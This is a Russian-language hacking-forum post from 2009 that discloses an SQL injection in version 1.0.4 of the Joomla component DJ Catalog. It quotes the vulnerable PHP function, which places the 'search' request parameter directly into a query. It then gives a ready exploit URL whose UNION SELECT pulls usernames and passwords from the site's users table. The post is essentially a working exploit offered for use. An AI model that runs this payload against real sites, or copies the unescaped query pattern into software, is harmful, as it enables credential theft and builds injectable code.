Показать сообщение отдельно

  #161  
Старый 06.11.2009, 17:43
oRb
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме:
7875940

Репутация: 2362
По умолчанию

Уязвимость: SQL-Inj
Компонент: DJ Catalog
Версия: 1.0.4
Требования: magic_quotes_gpc = off
Файл: /components/com_djcatalog/models/show.php
PHP код:
    function getAllElements(){
            
            global 
$mainframe;
        
$par =& $mainframe->getParams('com_djcatalog');
        
            
$limit        $par->get('limit_items_show');
            
            
$limitstart    JRequest::getVar('limitstart'0'''int');
            
$producer_id JRequest::getVar('pid'0'''int');
            
$search '';
            if(
JRequest::getVar('search','0','string')!='0'){
                
$search " AND name LIKE '%".JRequest::getVar('search','0','string')."%' ";
            }
            
            
$producer '';
            if(
$producer_id){
                
$producer ' AND producer_id LIKE '.$producer_id'';
            }
            
$order JRequest::getVar('order');
            
$db= &JFactory::getDBO();
            switch (
$order) { ... }
            
$query "SELECT * FROM #__djcat_items WHERE 1 ".$producer.$search.$orderQuery;
            
$db->setQuery($query);
            
$Arows $this->_getList($query$limitstart$limit);    

            return 
$Arows;
    } 
Эксплойт:
Код:
/index.php?option=com_djcatalog&view=show&search='+and+0+union+select+1,2,3,username,5,password,7,8,9,10,11+from+%23__users%23
__________________
включи голову
 
Ответить с цитированием